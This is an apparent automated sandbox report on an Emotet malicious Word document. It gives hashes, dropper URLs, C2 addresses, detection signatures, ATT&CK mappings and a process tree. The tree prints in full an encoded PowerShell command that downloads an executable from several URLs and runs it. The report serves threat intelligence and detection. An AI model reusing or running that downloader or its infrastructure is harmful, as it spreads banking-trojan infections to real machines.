emotet | ca80d81f8c69197184152d151822f9075c44399aebf4c686c1530c28c9ed7502

General

Target

NGPX2020.09.doc
Size

177KB
MD5

d1ae2aa29d5f210bc634a6694e8ee86f
SHA1

c2ca4ff154487b2158a78e9676a4fc21fd8c0df9
SHA256

ca80d81f8c69197184152d151822f9075c44399aebf4c686c1530c28c9ed7502
SHA512

b91cbeb916792a78a8f994e9d56a726245789fcdd6cf7885d328a1b0a090bb93781ad7cc5bd29e566fc4262943fa9775d21b9a57fcc7342d9d5349473d268c7b

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://reseller-demo-website.com/discussion/qWWf8FS/

exe.dropper

https://www.mockdumps.com/test/Z2pJ/

exe.dropper

https://twisterprint.com/chrometheme/Vcr/

exe.dropper

http://simulations.org/rw_common/KfX2MW/

exe.dropper

http://planosdesaudesemcarencia.com/erros/JHoq/

exe.dropper

https://viaje-achina.com/wp-admin/A1O8tL/

exe.dropper

https://cearacultural.com.br/turismo/oy/

Extracted

Family

emotet

C2

71.72.196.159:80

134.209.36.254:8080

120.138.30.150:8080

94.23.216.33:80

157.245.99.39:8080

137.59.187.107:8080

94.23.237.171:443

61.19.246.238:443

156.155.166.221:80

50.35.17.13:80

153.137.36.142:80

91.211.88.52:7080

209.141.54.221:8080

185.94.252.104:443

174.45.13.118:80

87.106.136.232:8080

62.75.141.82:80

213.196.135.145:80

188.219.31.12:80

82.80.155.43:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1780	3532	powershell.exe

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

Processes:

resource	yara_rule
behavioral2/memory/2100-11-0x00000000020E0000-0x00000000020F2000-memory.dmp	emotet
behavioral2/memory/2100-11-0x00000000020E0000-0x00000000020F2000-memory.dmp	emotet
behavioral2/memory/2100-12-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/2100-12-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/636-15-0x00000000004C0000-0x00000000004D2000-memory.dmp	emotet
behavioral2/memory/636-15-0x00000000004C0000-0x00000000004D2000-memory.dmp	emotet
behavioral2/memory/636-16-0x00000000004E0000-0x00000000004F0000-memory.dmp	emotet
behavioral2/memory/636-16-0x00000000004E0000-0x00000000004F0000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

21 1780 powershell.exe
25 1780 powershell.exe
Executes dropped EXE 2 IoCs

Processes:

Avbjjxx_b.exenddeapi.exe

pid process

2100 Avbjjxx_b.exe
636 nddeapi.exe
Drops file in System32 directory 1 IoCs

Processes:

Avbjjxx_b.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\winsku\nddeapi.exe Avbjjxx_b.exe

flow	pid	process
21	1780	powershell.exe
25	1780	powershell.exe

pid	process
2100	Avbjjxx_b.exe
636	nddeapi.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\winsku\nddeapi.exe	Avbjjxx_b.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3740 WINWORD.EXE
3740 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powershell.exenddeapi.exe

pid process

1780 powershell.exe
1780 powershell.exe
1780 powershell.exe
636 nddeapi.exe
636 nddeapi.exe
636 nddeapi.exe
636 nddeapi.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1780 powershell.exe
Suspicious use of SetWindowsHookEx 9 IoCs

Processes:

WINWORD.EXE

pid process

3740 WINWORD.EXE
3740 WINWORD.EXE
3740 WINWORD.EXE
3740 WINWORD.EXE
3740 WINWORD.EXE
3740 WINWORD.EXE
3740 WINWORD.EXE
3740 WINWORD.EXE
3740 WINWORD.EXE

pid	process
3740	WINWORD.EXE
3740	WINWORD.EXE

pid	process
1780	powershell.exe
1780	powershell.exe
1780	powershell.exe
636	nddeapi.exe
636	nddeapi.exe
636	nddeapi.exe
636	nddeapi.exe

description	pid	process
Token: SeDebugPrivilege	1780	powershell.exe

pid	process
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

powershell.exeAvbjjxx_b.exe

description	pid	process	target process
PID 1780 wrote to memory of 2100	1780	powershell.exe	Avbjjxx_b.exe
PID 1780 wrote to memory of 2100	1780	powershell.exe	Avbjjxx_b.exe
PID 1780 wrote to memory of 2100	1780	powershell.exe	Avbjjxx_b.exe
PID 2100 wrote to memory of 636	2100	Avbjjxx_b.exe	nddeapi.exe
PID 2100 wrote to memory of 636	2100	Avbjjxx_b.exe	nddeapi.exe
PID 2100 wrote to memory of 636	2100	Avbjjxx_b.exe	nddeapi.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\NGPX2020.09.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3740

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -en JABRAGsAeQBfAHoAYwByAD0AKAAnAE8AagAnACsAKAAnAGIAYQAnACsAJwA0ADQAJwApACsAJwAxACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAdQBzAEUAUgBwAHIAbwBmAEkATABFAFwAaQB4AF8AVQAwAGUARQBcAEQAYQAzAEkAcABmAHYAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIARQBDAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAFUAcgBpAHQAYAB5AGAAcABSAG8AdABPAGAAQwBvAEwAIgAgAD0AIAAoACgAJwB0AGwAcwAxADIAJwArACcALAAnACsAJwAgACcAKQArACcAdABsACcAKwAnAHMAJwArACcAMQAxACcAKwAoACcALAAnACsAJwAgAHQAbABzACcAKQApADsAJABQADQAZAA1AGIAZABpACAAPQAgACgAKAAnAEEAdgAnACsAJwBiACcAKQArACgAJwBqAGoAeAB4ACcAKwAnAF8AJwApACsAJwBiACcAKQA7ACQATgBsAGQAaQBrAHEAaQA9ACgAJwBFACcAKwAoACcAMgBwACcAKwAnAGoANwAnACsAJwBqAGcAJwApACkAOwAkAEMAZgBfAHkAbAA3AHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAwAH0ASQB4AF8AJwArACgAJwB1ADAAJwArACcAZQBlACcAKQArACcAewAwAH0ARABhADMAaQAnACsAJwBwAGYAJwArACcAdgB7ADAAJwArACcAfQAnACkAIAAtAGYAWwBjAGgAYQByAF0AOQAyACkAKwAkAFAANABkADUAYgBkAGkAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABaAHoAZABkAG4AbgBsAD0AKAAnAEYAJwArACcANQBkACcAKwAoACcAbAAnACsAJwBvAF8AeQAnACkAKQA7ACQAWAA0ADcANABmAHkAMgA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwBiAGoAZQAnACsAJwBjAHQAJwApACAATgBlAFQALgB3AGUAYgBjAEwAaQBFAE4AdAA7ACQAUQBhADkAdwA1ADgAdwA9ACgAKAAnAGgAdAB0ACcAKwAnAHAAOgAvAC8AJwArACcAcgBlAHMAZQAnACkAKwAoACcAbABsAGUAcgAtACcAKwAnAGQAZQAnACsAJwBtACcAKQArACcAbwAtACcAKwAnAHcAZQAnACsAJwBiAHMAJwArACcAaQAnACsAJwB0AGUAJwArACcALgBjACcAKwAnAG8AJwArACcAbQAvACcAKwAoACcAZABpACcAKwAnAHMAYwB1AHMAJwApACsAKAAnAHMAJwArACcAaQBvAG4ALwBxAFcAVwBmACcAKwAnADgARgAnACkAKwAoACcAUwAnACsAJwAvACoAJwArACcAaAB0AHQAJwApACsAKAAnAHAAcwAnACsAJwA6AC8ALwB3ACcAKQArACcAdwB3ACcAKwAoACcALgBtACcAKwAnAG8AJwArACcAYwBrAGQAdQBtAHAAcwAuAGMAJwApACsAJwBvAG0AJwArACcALwAnACsAKAAnAHQAJwArACcAZQBzAHQALwAnACsAJwBaADIAcABKAC8AKgAnACsAJwBoACcAKQArACcAdAB0ACcAKwAoACcAcABzADoAJwArACcALwAnACkAKwAoACcALwB0ACcAKwAnAHcAaQAnACkAKwAoACcAcwAnACsAJwB0AGUAJwApACsAKAAnAHIAcAAnACsAJwByAGkAJwApACsAKAAnAG4AdAAnACsAJwAuACcAKQArACgAJwBjAG8AJwArACcAbQAnACsAJwAvAGMAaAByAG8AJwApACsAKAAnAG0AZQAnACsAJwB0AGgAZQAnACkAKwAoACcAbQBlAC8AVgAnACsAJwBjAHIAJwArACcALwAqACcAKQArACgAJwBoACcAKwAnAHQAdAAnACkAKwAoACcAcAA6AC8ALwAnACsAJwBzACcAKQArACcAaQBtACcAKwAoACcAdQAnACsAJwBsAGEAJwApACsAKAAnAHQAaQBvACcAKwAnAG4AcwAuAG8AcgAnACsAJwBnACcAKQArACcALwAnACsAKAAnAHIAdwBfAGMAJwArACcAbwBtACcAKQArACgAJwBtAG8AJwArACcAbgAvACcAKwAnAEsAZgAnACkAKwAnAFgAMgAnACsAKAAnAE0AVwAvACoAaAB0AHQAJwArACcAcAA6AC8AJwArACcALwBwACcAKwAnAGwAYQAnACkAKwAnAG4AJwArACcAbwAnACsAKAAnAHMAJwArACcAZABlAHMAJwArACcAYQB1AGQAZQBzAGUAJwArACcAbQBjACcAKQArACcAYQAnACsAJwByAGUAJwArACcAbgBjACcAKwAnAGkAYQAnACsAJwAuACcAKwAnAGMAbwAnACsAKAAnAG0ALwAnACsAJwBlAHIAcgBvAHMALwAnACkAKwAnAEoAJwArACgAJwBIAG8AJwArACcAcQAvACoAaAB0ACcAKwAnAHQAcAAnACkAKwAnAHMAOgAnACsAKAAnAC8ALwB2AGkAYQBqAGUAJwArACcALQBhACcAKQArACgAJwBjACcAKwAnAGgAaQBuAGEALgAnACkAKwAnAGMAJwArACcAbwBtACcAKwAoACcALwB3AHAAJwArACcALQAnACkAKwAoACcAYQBkACcAKwAnAG0AaQAnACsAJwBuAC8AQQAxAE8AOAB0ACcAKQArACcATAAnACsAKAAnAC8AJwArACcAKgBoAHQAJwApACsAKAAnAHQAcABzACcAKwAnADoALwAnACkAKwAoACcALwBjAGUAJwArACcAYQByACcAKQArACgAJwBhAGMAdQBsACcAKwAnAHQAdQByAGEAJwArACcAbAAnACsAJwAuACcAKwAnAGMAbwBtAC4AYgAnACkAKwAoACcAcgAvACcAKwAnAHQAJwApACsAJwB1ACcAKwAoACcAcgAnACsAJwBpAHMAJwArACcAbQBvAC8AbwB5AC8AJwApACkALgAiAFMAcABMAGAAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAWQA2AHQAZwB6AGwAXwA9ACgAJwBVAG4AJwArACgAJwB3ADAAbQAzACcAKwAnADEAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABXAGsAZQBuADgAaQBnACAAaQBuACAAJABRAGEAOQB3ADUAOAB3ACkAewB0AHIAeQB7ACQAWAA0ADcANABmAHkAMgAuACIAZABgAG8AdwBuAEwAbwBhAGQAZgBpAGAATABlACIAKAAkAFcAawBlAG4AOABpAGcALAAgACQAQwBmAF8AeQBsADcAcgApADsAJABDAGMAeAAwADgAMAByAD0AKAAoACcAQQBkACcAKwAnAGIAcQBtADgAJwApACsAJwBiACcAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABDAGYAXwB5AGwANwByACkALgAiAGwARQBgAE4AZwBUAEgAIgAgAC0AZwBlACAAMgAzADgAMAAwACkAIAB7ACYAKAAnAEkAbgAnACsAJwB2AG8AawBlACcAKwAnAC0ASQB0AGUAbQAnACkAKAAkAEMAZgBfAHkAbAA3AHIAKQA7ACQAVABsAGEAMQBfAHMAegA9ACgAKAAnAE4AJwArACcAawBfADMAbQAnACkAKwAnAHkAcAAnACkAOwBiAHIAZQBhAGsAOwAkAEkAaABtAG4AMQA0AF8APQAoACcASgAnACsAJwBmACcAKwAoACcAdwBrACcAKwAnAHUAagA4ACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABLADcAdwBxAHoAYwBkAD0AKAAnAFkAJwArACgAJwBqAG8AeQByAG8AJwArACcAeQAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1780

C:\Users\Admin\Ix_u0ee\Da3ipfv\Avbjjxx_b.exe
"C:\Users\Admin\Ix_u0ee\Da3ipfv\Avbjjxx_b.exe"
2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2100

C:\Windows\SysWOW64\winsku\nddeapi.exe
"C:\Windows\SysWOW64\winsku\nddeapi.exe"
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:636

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\Ix_u0ee\Da3ipfv\Avbjjxx_b.exe

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C:\Users\Admin\ix_U0eE\Da3Ipfv\Avbjjxx_b.exe

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C:\Windows\SysWOW64\winsku\nddeapi.exe

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memory/636-16-0x00000000004E0000-0x00000000004F0000-memory.dmp

Filesize
64KB

Download
memory/636-15-0x00000000004C0000-0x00000000004D2000-memory.dmp

Filesize
72KB

Download
memory/636-13-0x0000000000000000-mapping.dmp

Download
memory/1780-6-0x000002912B190000-0x000002912B191000-memory.dmp

Filesize
4KB

Download
memory/1780-7-0x000002912B3C0000-0x000002912B3C1000-memory.dmp

Filesize
4KB

Download
memory/1780-5-0x00007FFA63FB0000-0x00007FFA6499C000-memory.dmp

Filesize
9.9MB

Download
memory/2100-8-0x0000000000000000-mapping.dmp

Download
memory/2100-11-0x00000000020E0000-0x00000000020F2000-memory.dmp

Filesize
72KB

Download
memory/2100-12-0x00000000001F0000-0x0000000000200000-memory.dmp

Filesize
64KB

Download
memory/3740-0-0x00007FFA6B680000-0x00007FFA6BD46000-memory.dmp

Filesize
6.8MB

Download
memory/3740-1-0x000001B11656C000-0x000001B116575000-memory.dmp

Filesize
36KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads